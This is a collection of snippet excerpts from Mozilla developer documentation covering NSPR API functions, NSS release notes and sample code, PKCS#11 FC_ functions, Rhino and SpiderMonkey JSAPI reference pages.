...rspecialfd is defined as follows: typedef enum prspecialfd{ pr_standardinput, pr_standardoutput, pr_standarderror } prspecialfd; #define pr_stdin pr_getspecialfd(pr_standardinput) #define pr_stdout pr_getspecialfd(pr_standardoutput) #define pr_stderr pr_getspecialfd(pr_standarderror) file descriptors returned by pr_getspecialfd are owned by the runtime and should not be closed by the caller.
PR_GetThreadPrivate
description pr_getthreadprivate may be called at any time during a thread's execution.
... a thread can get access only to its own per-thread private data.
PR_INIT_STATIC_CLIST
statically initializes a circular list.
... description pr_init_static_clist statically initializes the specified list to be an empty list.
PR_Init
description nspr is now implicitly initialized, usually by the first nspr function called by a program.
... call pr_init as follows: pr_init(pr_user_thread, pr_priority_normal, 0); ...
PR_Initialized
syntax #include <prinit.h> prbool pr_initialized(void); returns the function returns one of the following values: if pr_init has already been called, pr_true.
... if pr_init has not already been called, pr_false.
PR_IntervalNow
description you can use the value returned by pr_intervalnow() to establish epochs and to determine intervals (that is, compute the difference between two times).
...in this case, you typically call pr_intervalnow() in a sequence that looks like this: pruint32 interval = ...
PR_JoinThreadPool
waits for all threads in a thread pool to complete, then releases resources allocated to the thread pool.
... syntax #include <prtpool.h> nspr_api(prstatus) pr_jointhreadpool( prthreadpool *tpool ); parameter the function has the following parameter: tpool a pointer to a prthreadpool structure previously created by a call to pr_createthreadpool.
PR_Listen
further information can be obtained by calling pr_geterror.
...pending connections may be accepted by calling pr_accept.
PR_LoadLibrary
the function suppresses duplicate loading if the library is already known by the runtime.
... each call to pr_loadlibrary must be paired with a corresponding call to pr_unloadlibrary in order to return the runtime to its original state.
PR_Lock
description when pr_lock returns, the calling thread is "in the monitor," also called "holding the monitor's lock." any thread that attempts to acquire the same lock blocks until the holder of the lock exits the monitor.
...calling it twice on the same thread results in undefined behavior.
PR_NOT_REACHED
terminates the calling application with a message to the log.
... returns nothing description this macro writes the specified reason string to the log and terminates the application.
PR_Now
you cannot assume that the values returned by pr_now() are monotonically increasing because the system clock of the computer may be reset.
... to obtain monotonically increasing time stamps suitable for measuring elapsed time, use pr_intervalnow().
PR_QueueJob_Accept
causes a job to be queued when a socket has a pending connection.
... syntax #include <prtpool.h> nspr_api(prjob *) pr_queuejob_accept( prthreadpool *tpool, prjobiodesc *iod, prjobfn fn, void *arg, prbool joinable ); parameters the function has the following parameters: tpool a pointer to a prthreadpool structure previously created by a call to pr_createthreadpool.
PR_QueueJob_Connect
causes a job to be queued when a socket can be connected.
... syntax #include <prtpool.h> nspr_api(prjob *) pr_queuejob_connect( prthreadpool *tpool, prjobiodesc *iod, const prnetaddr *addr, prjobfn fn, void * arg, prbool joinable ); parameters the function has the following parameters: tpool a pointer to a prthreadpool structure previously created by a call to pr_createthreadpool.
PR_QueueJob_Read
causes a job to be queued when a socket becomes readable.
... syntax #include <prtpool.h> nspr_api(prjob *) pr_queuejob_read( prthreadpool *tpool, prjobiodesc *iod, prjobfn fn, void *arg, prbool joinable ); parameters the function has the following parameters: tpool a pointer to a prthreadpool structure previously created by a call to pr_createthreadpool.
PR_QueueJob_Timer
causes a job to be queued when a timer expires.
... syntax #include <prtpool.h> nspr_api(prjob *) pr_queuejob_timer( prthreadpool *tpool, printervaltime timeout, prjobfn fn, void * arg, prbool joinable ); parameters the function has the following parameters: tpool a pointer to a prthreadpool structure previously created by a call to pr_createthreadpool.
PR_QueueJob_Write
causes a job to be queued when a socket becomes writable.
... syntax #include <prtpool.h> nspr_api(prjob *) pr_queuejob_write( prthreadpool *tpool, prjobiodesc *iod, prjobfn fn, void *arg, prbool joinable ); parameters the function has the following parameters: tpool a pointer to a prthreadpool structure previously created by a call to pr_createthreadpool.
PR_STATIC_ASSERT
an expression which cannot be evaluated at compile time will cause a compiler error; see pr_assert for a runtime alternative.
... this macro may only be used in locations where an extern function declaration may be used.
PR_SetErrorText
description the text is copied into the thread structure and remains there until the next call to pr_seterror.
...the new value is copied into storage allocated and owned by nspr and remains there until the next call to pr_seterror or another call to pr_seterrortext.
PR_SetLibraryPath
syntax #include <prlink.h> prstatus pr_setlibrarypath(const char *path); parameters the function has this parameter: path a pointer to a character array that contains the directory path that the application should use as a default.
...this may indicate that the function cannot allocate sufficient storage to make a copy of the path string description this function registers a default library pathname with the runtime.
PR_SetLogBuffering
ordinarily, a user application need not use this function, as nspr initializes logging at nspr startup.
... the application can use the model provided in use example to effect application logging.
PR_SetLogFile
ordinarily, a user application need not use this function, as nspr initializes logging at nspr startup.
... the application can use the model provided in use example to effect application logging.
PR_SetPollableEvent
syntax nspr_api(prstatus) pr_setpollableevent(prfiledesc *event); parameter the function has the following parameter: event pointer to a prfiledesc structure previously created via a call to pr_newpollableevent.
...the reason for the failure can be retrieved via pr_geterror.
PR_SetSocketOption
the reason for the failure can be obtained by calling pr_geterror.
... description on input, the caller must set both the option and value fields of the prsocketoptiondata object pointed to by the data parameter.
PR_SetThreadPriority
description modifying the priority of a thread other than the calling thread is risky.
...it is preferable for a thread to specify itself in the thread parameter when it calls pr_setthreadpriority.
PR_StringToNetAddr
you can retrieve the reason for the failure by calling pr_geterror.
...ipv6 addresses are indicated as strings using ":" characters separating octets, with numerous caveats for shortcutting (see rfc #1884).
PR_Unlock
attempting to release a lock that was locked by a different thread causes undefined behavior.
... if unsuccessful (for example, if the caller does not own the lock), pr_failure.
PR_Unmap
the error code can be retrieved via pr_geterror.
...the parameter addr is the return value of an earlier call to pr_memmap.
PR_VersionCheck
compares the version of nspr assumed by the caller (the imported version) with the version being offered by the runtime (the exported version).
... returns the function returns one of the following values: if the version of the shared library is compatible with that expected by the caller, pr_true.
PR_WaitSemaphore
syntax #include <pripcsem.h> nspr_api(prstatus) pr_waitsemaphore(prsem *sem); parameter the function has the following parameter: sem a pointer to a prsem structure returned from a call to pr_opensemaphore.
... the "test and decrement" operation is performed atomically.
String Operations
libraries built on top of nspr, such as the netscape security libraries, use these functions to manipulate strings.
... if you are copying or examining strings for use by such libraries or freeing strings that were allocated by such libraries, you must use these nspr functions rather than the libc equivalents.
NSPR
netscape portable runtime (nspr) provides a platform-neutral api for system level and libc-like functions.
... the api is used in the mozilla clients, many of red hat's and oracle's server applications, and other software offerings.
NSS 3.14.4 release notes
bugs fixed in nss 3.14.4 https://bugzilla.mozilla.org/buglist.cgi?bug_id=894370%2c832942%2c863947&bug_id_type=anyexact&list_id=8338081&resolution=fixed&classification=components&query_format=advanced&product=nss compatibility nss 3.14.4 shared libraries are backward compatible with all older nss 3.x shared libraries.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.14.5 release notes
bugs fixed in nss 3.14.5 https://bugzilla.mozilla.org/buglist.cgi?bug_id=934016&bug_id_type=anyexact&resolution=fixed&classification=components&query_format=advanced&product=nss compatibility nss 3.14.5 shared libraries are backward compatible with all older nss 3.x shared libraries.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.15.3 release notes
bugs fixed in nss 3.15.3 bug 850478 - list rc4_128 cipher suites after aes_128 cipher suites bug 919677 - don't advertise tls 1.2-only ciphersuites in a tls 1.1 clienthello a complete list of all bugs resolved in this release can be obtained at https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&target_milestone=3.15.3&product=nss compatibility nss 3.15.3 shared libraries are backward compatible with all older nss 3.x shared libraries.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.16.1 release notes
notable changes in nss 3.16.1 imposed name constraints on the french government root ca anssi (dciss).
... bugs fixed in nss 3.16.1 this bugzilla query returns all the bugs fixed in nss 3.16.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.16.1 ...
NSS 3.17.2 release notes
bugs fixed in nss 3.17.2 this bugzilla query returns all the bugs fixed in nss 3.17.2: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.17.2 compatibility nss 3.17.2 shared libraries are backward compatible with all older nss 3.x shared libraries.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.17 release notes
on windows, the new build variable use_static_rtl can be used to specify the static c runtime library should be used.
... bugs fixed in nss 3.17 this bugzilla query returns all the bugs fixed in nss 3.17: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.17 ...
NSS 3.19.2.3 release notes
an attacker could create a specially-crafted certificate which, when parsed by nss, would cause a crash or execution of arbitrary code with the permissions of the user.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.21.1 release notes
an attacker could create a specially-crafted certificate which, when parsed by nss, would cause a crash or execution of arbitrary code with the permissions of the user.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.28.2 release notes
bugs fixed in nss 3.28.2 bug 1334114 - nss 3.28 regression in signature scheme flexibility, causes connectivity issue between ios 8 clients and nss servers with ecdsa certificates bug 1330612 - x25519 is the default curve for ecdhe in nss bug 1323150 - crash [@ readdbentry ] compatibility nss 3.28.2 shared libraries are backward compatible with all older nss 3.x shared libraries.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.29.2 release notes
nss 3.29.2 requires netscape portable runtime (nspr) 4.13.1 or newer.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.31.1 release notes
nss 3.31.1 requires netscape portable runtime (nspr) 4.15, or newer.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.36.2 release notes
this bugzilla query returns all the bugs fixed in nss 3.36.2: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.36.2 compatibility nss 3.36.2 shared libraries are backward compatible with all older nss 3.x shared libraries.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.36.4 release notes
bugs fixed in nss 3.36.4 bug 1461731 - fix crash on macos related to authentication tokens, e.g.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.36.6 release notes
this is a patch release to fix cve-2018-12404 bugs fixed in nss 3.36.6 bug 1485864 - cache side-channel variant of the bleichenbacher attack (cve-2018-12404) bug 1389967 and bug 1448748 - fixes for mingw on x64 platforms.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.37.1 release notes
this bugzilla query returns all the bugs fixed in nss 3.37.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.37.1 compatibility nss 3.37.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.37.3 release notes
bug 1461731 - fix crash on macos related to authentication tokens, e.g.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.40.1 release notes
this is a patch release to fix cve-2018-12404 new functions none bugs fixed in nss 3.40.1 bug 1485864 - cache side-channel variant of the bleichenbacher attack (cve-2018-12404) compatibility nss 3.40.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.41.1 release notes
(cve-2018-18508) this bugzilla query returns all bugs fixed in 3.41.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.41.1 compatibility nss 3.41.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.42.1 release notes
(cve-2018-18508) this bugzilla query returns all the bugs fixed in nss 3.42.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.42.1 compatibility nss 3.42.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.44.1 release notes
new in nss 3.44.1 new functionality 1546229 - add ipsec ike support to softoken many new fips test cases (note: this has increased the source archive by approximately 50 megabytes for this release.) bugs fixed in nss 3.44.1 1554336 - optimize away unneeded loop in mpi.c 1515342 - more thorough input checking (cve-2019-11729) 1540541 - don't unnecessarily strip leading 0's from key material during pkcs11 import (cve-2019-11719) 1515236 - add a sslkeylogfile enable/disab...
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.44.2 release notes
bugs fixed in nss 3.44.2 bug 1582343 - soft token mac verification not constant time bug 1577953 - remove arbitrary hkdf output limit by allocating space as needed this bugzilla query returns all the bugs fixed in nss 3.44.2: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.44.2 compatibility nss 3.44.2 shared libraries are backward compatible with all older nss 3.x...
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.44.3 release notes
bugs fixed in nss 3.44.3 bug 1579060 - don't set the constructed bit for issueruniqueid and subjectuniqueid in mozilla::pkix cve-2019-11745 - encryptupdate should use maxout, not block size this bugzilla query returns all the bugs fixed in nss 3.44: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.44 compatibility nss 3.44.3 shared libraries are backward compatible with all older nss 3.x shared libraries.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.46.1 release notes
bugs fixed in nss 3.46.1 bug 1582343 - soft token mac verification not constant time bug 1577953 - remove arbitrary hkdf output limit by allocating space as needed this bugzilla query returns all the bugs fixed in nss 3.46.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.46.1 compatibility nss 3.46.1 shared libraries are backward compatible with all older nss 3.x...
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.47.1 release notes
bugs fixed in nss 3.47.1 cve-2019-11745 - encryptupdate should use maxout, not block size bug 1590495 - fix a crash that could be caused by client certificates during startup bug 1589810 - fix compile-time warnings from uninitialized variables in a perl script this bugzilla query returns all the bugs fixed in nss 3.47: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.47 compatibility nss 3.47.1 shared libraries are backward compatible...
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.49 release notes
loretryrequest bug 1593167 - intermittent mis-reporting potential security risk sec_error_unknown_issuer bug 1535787 - fix automation/release/nss-release-helper.py on macos bug 1594933 - disable building dbm by default bug 1562548 - improve gcm perfomance on aarch32 this bugzilla query returns all the bugs fixed in nss 3.49: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.49 compatibility nss 3.49 shared libraries are backward compatible with all older nss 3.x shared libraries.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS Sample Code Sample_2_Initialization of NSS
try again.\n"); } /* clear out the duplicate password string */ if (p1) { port_memset(p1, 0, port_strlen(p1)); port_free(p1); } fclose(input); fclose(output); return p0; } /* change the password */ secstatus changepw(pk11slotinfo *slot, char *oldpass, char *newpass, char *oldpwfile, char *newpwfile) { secstatus rv; secupwdata pwdata; secupwdata newpwdata; char *oldpw =...
...progname + 1 : argv[0]; /* parse command line arguments */ optstate = pl_createoptstate(argc, argv, "d:p:q:f:g:"); while ((status = pl_getnextopt(optstate)) == pl_opt_ok) { switch (optstate->option) { case 'd': dbdir = strdup(optstate->value); break; case 'p': plainpass = strdup(optstate->value); break; case 'f': pwfile = strdup(optstate->value); break; default: usage(progname); break; } } pl_destroyoptstate(optstate); if (!dbdir) usage(progn...
Initialize NSS database - sample 2
try again.\n"); } /* clear out the duplicate password string */ if (p1) { port_memset(p1, 0, port_strlen(p1)); port_free(p1); } fclose(input); fclose(output); return p0; } /* * changepw */ secstatus changepw(pk11slotinfo *slot, char *oldpass, char *newpass, char *oldpwfile, char *newpwfile) { secstatus rv; secupwdata pwdata; secupwdata newpwdata; char *oldpw = null; char ...
...progname + 1 : argv[0]; /* parse command line arguments */ optstate = pl_createoptstate(argc, argv, "d:p:q:f:g:"); while ((status = pl_getnextopt(optstate)) == pl_opt_ok) { switch (optstate->option) { case 'd': dbdir = strdup(optstate->value); break; case 'p': plainpass = strdup(optstate->value); break; case 'f': pwfile = strdup(optstate->value); break; default: usage(progname); break; } } pl_destroyoptstate(optstate); if (!dbdir) usage(progn...
NSS Sample Code
nss sample code the collection of sample code here demonstrates how nss can be used for cryptographic operations, certificate handling, ssl, etc.
... it also demonstrates some best practices in the application of cryptography.
NSS Third-Party Code
this is a list of third-party code included in the nss repository, broken into two lists: code that can be compiled into the nss libraries, and code that is only used for testing.
... note that not all code that can be compiled into the nss libraries necessarily is.
NSS release notes template
bugs fixed in nss 3.xx this bugzilla query returns all the bugs fixed in nss 3.xx: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.xx (make a link) acknowledgements the nss development team would like to thank ...
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
New NSS Samples
new nss sample code this collection of sample code demonstrates how nss can be used for cryptographic operations, certificate handling, ssl, etc.
... it also demonstrates some best practices in the application of cryptography.
Installation guide
the build system of nss originated from netscape's build system, which predated the "configure; make; make test; make install" sequence that we're familiar with now.
...you can avoid that by installing the libraries in a directory that is $origin/../lib, where $origin is the directory where the programs are installed.
Sample manual installation
after building nss with "gmake nss_build_all", the resulting build can be found in the nss source tree as follows: nss header files: mozilla/dist/public/nss nspr header files: mozilla/dist/<obj-dir>/include nspr/nss shared libs: mozilla/dist/<obj-dir>/lib nss binary executables: mozilla/dist/<obj-dir>/bin.
...for example, <obj-dir> for a debug build of nss on the x86 platform with a linux kernel version 2.6 with glibc would be: linux2.6_x86_glibc_pth_dbg.obj from these directories, you can copy the files to any system (or other) directory.
FC_CreateObject
phobject [out] pointer to location to receive the new objects handle.
...a user must log into the token (to assume the nss user role) before calling fc_createobject.
FC_DeriveKey
phkey [out] pointer to the location to receive the handle of the new key.
...a user must log into the token (to assume the nss user role) before calling fc_derivekey.
FC_DigestKey
the digest for the entire message is returned by a call to fc_digestfinal.
... a user must log into the token (to assume the nss user role) before calling fc_digestkey.
FC_DigestUpdate
the digest for the entire message is returned by a call to fc_digestfinal.
... a user may call fc_digestupdate without logging into the token (to assume the nss user role).
FC_EncryptFinal
plastencryptedpart [out] pointer to the location that receives the last encrypted data part, if any puslastencryptedpartlen [in,out] pointer to location where the number of bytes of the last encrypted data part is to be stored.
...a user must log into the token (to assume the nss user role) before calling fc_encryptfinal.
FC_GenerateKey
phkey [out] pointer to the location to receive the handle of the new key.
...a user must log into the token (to assume the nss user role) before calling fc_generatekey.
FC_GenerateRandom
prandomdata [out] pointer to the location to receive the random data.
...a user may call fc_generaterandom without logging into the token (to assume the nss user role).
FC_SignRecover
description fc_signrecover signs data in a single operation where the (digest) data can be recovered from the signature.
...a user must log into the token (to assume the nss user role) before calling fc_signrecover.
FC_SignRecoverInit
description fc_signrecoverinit initializes a initializes a signature operation where the (digest) data can be recovered from the signature.
... a user must log into the token (to assume the nss user role) before calling fc_signrecoverinit.
FC_SignUpdate
the signature for the entire message is returned by a call to fc_signfinal.
... a user must log into the token (to assume the nss user role) before calling fc_signupdate.
FC_VerifyFinal
description fc_verifyfinal finishes a multi-part signature verification operation.
... a user must log into the token (to assume the nss user role) before calling fc_verifyfinal.
FC_VerifyRecover
description fc_verifyrecover verifies data in a single operation where the (digest) data can be recovered from the signature.
...a user must log into the token (to assume the nss user role) before calling fc_verifyrecover.
NSS cryptographic module
this chapter describes the data types and functions that one can use to perform cryptographic operations with the nss cryptographic module.
...therefore, an application that supports pkcs #11 cryptographic tokens can be easily modified to use the nss cryptographic module.
NSS tools : vfyserv
name vfyserv — tbd synopsis vfyserv description the vfyserv tool verifies a certificate chain options additional resources for information about nss and other tools related to nss (like jss), check out the nss project wiki at [1]http://www.mozilla.org/projects/security/pki/nss/.
...mailing lists: https://lists.mozilla.org/listinfo/dev-tech-crypto irc: freenode at #dogtag-pki authors the nss tools were written and maintained by developers with netscape, red hat, and sun.
NSS Tools dbck-tasks
nss security tools: dbck tasks newsgroup: mozilla.dev.tech.crypto task list in analyze mode, there should be an option to create a file containing a graph of the certificate database without any information about the user's certificates (no common names, email addresses, etc.).
...there should be command-line options and, perhaps, an interactive mode to allow determine which certificates to keep.
Personal Security Manager (PSM)
personal security manager (psm) consists of a set of libraries that perform cryptographic operations on behalf of a client application.
... these operations include setting up an ssl connection, object signing and signature verification, certificate management (including issuance and revocation), and other common pki functions.
Rhino documentation
requirements and limitations what you must have to run rhino; what rhino cannot do.
... embedding rhino embedding tutorial a short tutorial on how to embed rhino into your application.
Rhino downloads archive
you can download binary distributions of rhino from http://ftp.mozilla.org/pub/mozilla.org/js/.
...(pre-java 1.5 users can use dom3 using java's endorsed standards override mechanism if they have a dom3-capable xml parser.) if neither xmlbeans nor dom3 are present, e4x is not available.
Rhino Examples
it can be run in the html page nervoustext.html.
...primitivewrapfactory primitivewrapfactory.java is an example of a wrapfactory that can be used to control the wrapping behavior of the rhino engine on calls to java methods.
Rhino FAQ
for example, creating an array of seven ints can be done with the code var intarray = java.lang.reflect.array.newinstance(java.lang.integer.type, 7); when i try to execute a script i get the exception required security context missing.
... can i use rhino in a web browser?
Rhino license
* * redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * - redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer.
... in no event shall the copyright owner or * contributors be liable for any direct, indirect, incidental, special, * exemplary, or consequential damages (including, but not limited to, * procurement of substitute goods or services; loss of use, data, or * profits; or business interruption) however caused and on any theory of * liability, whether in contract, strict liability, or tort (including * negligence or otherwise) arising in any way out of the use of this * software, even if advised of the possibility of such damage.
Rhino requirements and limitations
limitations liveconnect if a javaobject's field's name collides with that of a method, the value of that field is retrieved lazily, and can be counter-intuitively affected by later assignments: javaobj.fieldandmethod = 5; var field = javaobj.fieldandmethod; javaobj.fieldandmethod = 7; // now, field == 7 you can work around this by forcing the field value to be converted to a javascript type when you take its value: javaobj.fieldandmethod = 5; var field = javaobj.fieldandmethod + 0; // force conversion now javaobj.fieldandmethod ...
...= 7; // now, field == 5 jsobject rhino does not support the netscape.javascript.jsobject class.
INT_TO_JSVAL
before spidermonkey 1.8.5, not all integers can be stored in a jsval; use int_fits_in_jsval to test.
... starting in spidermonkey 1.8.5, jsval can store a full 32-bit integer, so this check isn't needed any longer for 32-bit integers.") }} if i does not fit into a jsval (see int_fits_in_jsval), the behavior is undefined.
JS::AutoIdArray
in a js_threadsafe build, the caller must be in a request on this jscontext.
... description js::autoidarray takes the ownership of jsidarray, and frees it in destructor by calling js_destroyidarray.
JS::AutoValueArray
in a js_threadsafe build, the caller must be in a request on this jscontext.
...this is typically used for local variables being passed to function which requires js::handlevaluearray or a pointer to js::value array.
JS::Compile
in a js_threadsafe build, the caller must be in a request on this jscontext.
...length indicates the size of the text version of the script in characters.
JS::Handle
first, when several such functions call each other then redundant rooting of multiple copies of the gc thing can be avoided.
... second, if the caller does not pass a rooted value a compile error will be generated, which is quicker and easier to fix than when relying on a separate rooting analysis.
JS::MutableHandle
the underlying storage can be changed.
...a js::mutablehandle<t> can be created from a js::rooted&lt;t&gt; by using |js::rooted<t>::operator&()|.
JS::ToString
in a js_threadsafe build, the caller must be in a request on this jscontext.
... if v.isstring() is true, it calls v.tostring().
JSBool
jsbool is the return type of many jsapi functions and callbacks.
... js_true indicates success; js_false indicates an error or exception occurred.
JSExtendedClass.outerObject
jsextendedclass.outerobject and .innerobject are callbacks for split objects.
... callback syntax typedef jsobject * (*jsobjectop)(jscontext *cx, jsobject *obj); name type description cx jscontext * a context.
JSID_VOID
an additional jsid which is used to indicate the absence of a valid jsid.
... syntax const jsid jsid_void; const js::handleid jsid_voidhandle; // added in spidermonkey 31 description jsid_void does not occur in js scripts but may be used to indicate the absence of a valid jsid.
JSObjectOp
jsobjectop is the type of several jsapi callbacks that map an object to another object, or null if an error or exception occurred.
... typedef jsobject * (*jsobjectop)(jscontext *cx, jsobject *obj); the callbacks of this type are: jsextendedclass.outerobject jsextendedclass.innerobject jsextendedclass.wrappedobject jsobjectops.thisobject ...
JSObjectOps.getAttributes
the jsobjectops.getattributes and setattributes callbacks are called to access the attributes of a property.
...if prop is non-null, it must come from the *propp out parameter of a prior jsobjectops.defineproperty or jsobjectops.lookupproperty call.
JSPRINCIPALS_HOLD
application code that stores a pointer to a jsprincipals object must call jsprincipals_hold(cx, principals) before storing it and jsprincipals_drop(cx, principals) when done with it.
...if the reference count drops to 0, indicating that no one is using the object anymore, jsprincipals_drop also deallocates principals by calling its destroy method.
JSPropertySpec
tinyid int8 obsolete since jsapi 31 unique id number for the property to aid in resolving getproperty and setproperty method calls.
...if a property is read-only, its setter is never called.
JSString
you should not rely on the structure of jsstring, because it is subject to change; instead, treat jsstring objects as opaque.
... to get the length of a jsstring you can use js_getstringlength.
JSVAL_IS_GCTHING
indicates whether a js value has a type that is subject to garbage collection.
...this macro exposes javascript engine implementation details and usually isn't what the application really means.
JSVAL_TO_BOOLEAN
cast a boolean javascript value to a c integer, either 0 or 1, without any type checking or error handling.
... syntax jsbool jsval_to_boolean(jsval v); description jsval_to_boolean casts the value v to a c integer, either 0 or 1.
JSVAL_TO_DOUBLE
casts a given jsval to a jsdouble without any type checking or error handling.
... syntax jsdouble jsval_to_double(jsval v); description jsval_to_double casts a specified js value, v, to a c floating-point number of type jsdouble.
JSVAL_TO_OBJECT
cast a jsval to a jsobject * without a type check.
... syntax jsobject * jsval_to_object(jsval v); description jsval_to_object casts the argument, v, to type jsobject *.
JSVAL_TO_STRING
cast a jsval to type jsstring * without a type check.
... syntax jsstring * jsval_to_string(jsval v); description jsval_to_string casts the argument, v, to type jsstring *.
JS_CheckForInterrupt
js_checkforinterrupt returns false if interrupt callback returns false.
... see also mxr id search for js_checkforinterrupt js_setinterruptcallback js_getinterruptcallback js_requestinterruptcallback bug 1058695 ...
JS_CompileFunction
in a js_threadsafe build, the caller must be in a request on this jscontext.
... see also mxr id search for js_compilefunction mxr id search for js_compileucfunction jsfun_bound_method jsfun_global_parent js_callfunction js_callfunctionname js_callfunctionvalue js_decompilefunction js_decompilefunctionbody js_definefunction js_definefunctions js_getfunctionobject js_newfunction js_setbranchcallback js_valuetofunction bug 1089026 ...
JS_CompileFunctionForPrincipals
in a js_threadsafe build, the caller must be in a request on this jscontext.
... see also mxr id search for js_compilefunctionforprincipals mxr id search for js_compileucfunctionforprincipals jsfun_bound_method jsfun_global_parent js_callfunction js_callfunctionname js_callfunctionvalue js_compilefunction js_decompilefunction js_decompilefunctionbody js_definefunction js_definefunctions js_getfunctionobject js_newfunction js_valuetofunction bug 938907 ...
JS_CompileScript
in a js_threadsafe build, the caller must be in a request on this jscontext.
...length indicates the size of the text version of the script in characters.
JS_CompileUTF8FileHandle
in a js_threadsafe build, the caller must be in a request on this jscontext.
... js_compileutf8filehandle and js_compileutf8filehandleforprincipals are deprecated, use file, use js::compile instead.
JS_ContextIterator
on success, the value of *iterp is modified so that repeated calls cycle through all the contexts in rt.
...each call to js_contextiterator returns the next context in the cycle.
JS_DefineElement
in a js_threadsafe build, the caller must be in a request on this jscontext.
...while you can assign a setproperty method to a property and set flags to jsprop_readonly, the setter method will not be called on this property.
JS_DestroyRuntime
call js_destroyruntime after completing all other js api calls.
... js_destroyruntime garbage collects and frees the memory previously allocated by js_newruntime.
JS_DestroyScript
in a js_threadsafe build, the caller must be in a request on this jscontext.
... description js_destroyscript destroys the given compiled script, freeing the memory allocated to it.
JS_EnumerateStandardClasses
in a js_threadsafe build, the caller must be in a request on this jscontext.
... description the global object's class's enumerate op should call js_enumeratestandardclasses(cx, obj), to define eagerly during for...in loops any classes not yet resolved lazily.
JS_ForwardGetPropertyTo
in a js_threadsafe build, the caller must be in a request on this jscontext.
... onbehalfof js::handleobject object to receive getter invocation.
JS_FreezeObject
in a js_threadsafe build, the caller must be in a request on this jscontext.
...this means that other code cannot delete, add or change any properties on the object.
JS_GET_CLASS
the application must treat the jsclass as read-only.
... as of spidermonkey 1.8.8 it no longer exists, because js_getclass's signature is the same in all build environments.
JS_GetArrayPrototype
this article covers features introduced in spidermonkey 24 retrieves the original, canonical array.prototype for an object's global object.
...in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_GetElement
in a js_threadsafe build, the caller must be in a request on this jscontext.
...if not, it sets *vp to undefined and returns true (to indicate no error occurred).
JS_GetFunctionArity
specifically, if fun is a native function, the result is the value that was passed to the nargs parameter of js_definefunction.
... note that it is not an error per se to call a javascript function with more or fewer actual arguments than its arity.
JS_GetFunctionPrototype
this article covers features introduced in spidermonkey 17 retrieves the original, canonical function.prototype for an object's global object.
...in a js_threadsafe build, the caller must be in a request on this jscontext.
